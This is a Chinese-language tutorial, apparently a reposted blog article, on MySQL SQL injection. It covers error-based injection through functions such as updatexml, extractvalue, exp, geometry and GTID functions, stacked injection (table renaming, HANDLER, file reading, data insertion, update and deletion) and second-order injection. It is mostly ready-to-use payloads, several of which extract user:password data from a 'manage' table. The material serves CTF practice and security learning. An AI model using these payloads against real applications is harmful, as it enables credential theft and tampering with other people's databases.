sql注入之报错注入、堆叠注入、二次注入

报错注入

0x00 floor()(8.x>mysql>5.0)[双查询报错注入]

函数返回小于或等于指定值(value)的最小整数,取整
通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1
group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。

group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

?id=0’ union select 1,2,3 from(select count(*),concat((select concat(version(),-,database(),-,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

/拆解出来就是下面的语句/

concat((select concat(version(),-,database(),-,user()) limit 0,1),floor(rand(0)*2))x

可以看到这里实际上不光使用了报错注入还是用了刚刚的联合查询,同时还是一个双查询的报错注入,当在一个聚合函数,比如count()函数后面如果使用group by分组语句的话,就可能会把查询的一部分以错误的形式显示出来。但是要多次测试才可以得到报错

双查询报错注入的原理 https://blog.csdn.net/lixiangminghate/article/details/80466257,https://www.freebuf.com/articles/web/250376.html

大体思路就是当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来,但是因为随机数要测试多次才能得到报错,上面报错注入函数中的第一个Floor()就是这种情况。

0x01 extractvalue()

对XML文档进行查询的函数

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

and (extractvalue(‘anything’,concat(#’,substring(hex((select database())),1,5))))

0x02 UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称 文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

由于updatexml的第二个参数需要Xpath格式的字符串,如果不符合xml格式的语法,就可以实现报错注入了。

这也是一种非常常见的报错注入的函数。

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

0x03 exp(x)

返回 e 的 x 次方,当 数据过大 溢出时报错,即 x > 709

mail=') or exp(~(select * from (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))) as asd))--+

0x04 geometrycollection() mysql 版本5.5

(1)函数解释:
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。

(2)官方文档中举例的用法如下:
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))

(3)报错原因:
因为MYSQL无法使用这样的字符串画出图形,所以报错

1') and geometrycollection((select * from(select * from(select version())a)b)); %23
1') and geometrycollection((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b)); %23
1') and geometrycollection((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23
0x05 multipoint() mysql 版本5.5

(1)函数解释:
MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。

(2)报错原因:
同样是因为无法使用字符串画出图形与geometrycollection类似

1') and multipoint((select * from(select * from(select version())a)b)); %23

0x06 polygon()

polygon来自希腊。“Poly” 意味 “many” , “gon” 意味 “angle”.
Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。

') or polygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+

0x07 mutipolygon()

') or multipolygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))

0x08 linestring()

报错原理:
mysql的有些几何函数( 例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() )对参数要求为几何数据,若不满足要求则会报错,适用于5.1-5.5版本 (5.0.中存在但是不会报错)

1') and linestring((select * from(select * from(select database())a)b))--+;

0x09 multilinestring()

同上

0x0a ST.LatFromGeoHash()(mysql>=5.7.x)

') or ST_LatFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+

0x0b ST.LongFromGeoHash

同上 嵌套查询

0x0d GTID (MySQL >= 5.6.X - 显错<=200)

0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

GTID的表现形式 -> GTID =source_id:transaction_id其中source_id一般为数据库的uuid,transaction_id为事务ID,从1开始3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务

GTID集合(一组全局事务标识符):
GTID集合为多个单GTID和一个范围内GTID的集合,他主要用于如下地方

gtid_executed 系统变量

gtid_purged系统变量

GTID_SUBSET() 和 GTID_SUBTRACT()函数

格式如下:

3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5

0X02 函数详解

GTID_SUBET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错
GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
正常情况如下
GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’)

0x03 注入过程( payload )

GTID_SUBSET函数

') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

GTID_SUBTRACT

') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

上面是一些常见或者不常见的能够报错注入的函数,报错注入就是利用这些函数,在我们的查询语句中的这些函数内的某个位置再嵌套一个子查询,利用产生的报错将子查询的结果回显出来,每个报错注入的函数都搭配了网上找到的简单的payload,情况总是在变化,注意一下函数中子查询所在的位置即可。

使用 join using() 报错获取列名

一般应用于无列名注入,下文绕过中会细讲。

通过关键字join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

下面演示如何通过join…using来获取列名:

#获取第一列的列名:

1' union select * from (select * from users as a join users as b)as c#

#使用using()依次获取后续的列名

1' union all select * from (select * from users as a join users b using(id))c#
1' union all select * from (select * from users as a join users b using(id,username))c#
1' union all select * from (select * from users as a join users b using(id,username,password))c#

#数据库中as主要作用是起别名, 常规来说as都可以省略,但是为了增加可读性, 不建议省略

堆叠注入用到的SQL语法知识

注入流程
#读取数据

/?id=1';show databases;--+
/?id=1';show tables;--+
/?id=1';show tables from database_name;--+
/?id=1';show columns from table_name;--+

#读取文件

/?id=1';select load_file('/flag');--+

#修改数据表的结构

/?id=1';insert into users(id,username,password)values(20,'whoami','657260');--+    # 插入数据
/?id=1';update users set password='657260' where id>0;--+    # 更改数据
/?id=1';delete from users where id=20;--+    # 删除数据
/?id=1';create table fake_users like users;--+    # 创建一个新表
?id=1';rename table old_table to new_table;--+    # 更改表名
?id=1';alter table users change old_column new_column varchar(100);--+    # 更改字段名

下面是MySQL堆叠注入的几种常见姿势。

rename 修改表名
1';rename table words to words1;rename table flag_here to words;#

#rename命令用于修改表名。
#rename命令格式:rename table 原表名 to 新表名;
rename/alter 修改表名与字段名

1';rename table words to words1;rename table flag_here to words;alter table words change flag id varchar(100);#

rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;
利用 HANDLER 语句
如果rename、alter被过滤了,我们可以借助HANDLER语句来bypass。在不更改表名的情况下读取另一个表中的数据。

HANDLER … OPEN 语句打开一个表,使其可以使用后续 HANDLER … READ 语句访问,该表对象未被其他会话共享,并且在会话调用 HANDLER … CLOSE 或会话终止之前不会关闭,详情请见:https://www.cnblogs.com/taoyaostudy/p/13479367.html

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
或
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;#

二次注入

二次注入用到的SQL语法知识
通常二次注入的成因会是插入语句,我们控制自己想要查询的语句插入到数据库中再去找一个能显示插入数据的回显的地方(可能是登陆后的用户名等等、也有可能是删除后显示删除内容的地方~),恶意插入查询语句的示例如下:

insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq.com')

insert into users(id,username,password,email) values(1,'0'+substr((select hex(hex(select * from flag))),1,10)+'0','123456','123@qq.com')

需要对后端的SQL语句有一个猜测

这里还有一个点,我们不能直接将要查询的函数插入,因为如果直接插入的话,'database()‘会被识别为字符串,我们需要想办法闭合前后单引号的同时将我们的查询插入,就出现了’0’+database()+‘0’这样的构造,但是这个的回显是0,但是在我们进行了hex编码之后就能正常的查询了,也就是上面出现的’0’+hex(database())+‘0’

注入流程
首先找到插入点,通常情况下是一个注册页面,register.php这种,先简单的查看一下注册后有没有什么注册时写入的信息在之后又回显的,若有回显猜测为二次查询。

insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq.com')
insert into users(id,username,password,email) values(1,'0'+substr((select hex(hex(select * from flag))),1,10)+'0','123456','123@qq.com')

构造类似于values中的参数进行注册等操作,然后进行查看,将hex编码解码即可,可能会有其他的先限制,比如超过10位就会转化为科学计数法,我们就需要使用from for语句来进行一个限制,可以编写脚本。

转载连接:

https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247492453&idx=1&sn=7fa30af26e4d7cfa16792e4f62ba730d&chksm=ebb50c66dcc285703481d990db26fab029b86b9c0c63ea18f11f86cdcbf2be59d82760d2f994&mpshare=1&scene=1&srcid=1212Bxs6l9sTEGEe0tbr0ApF&sharer_sharetime=1639528636326&sharer_shareid=d958928af57914a769de8e2e72622d10&version=3.1.2.2211&platform=win#rd
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值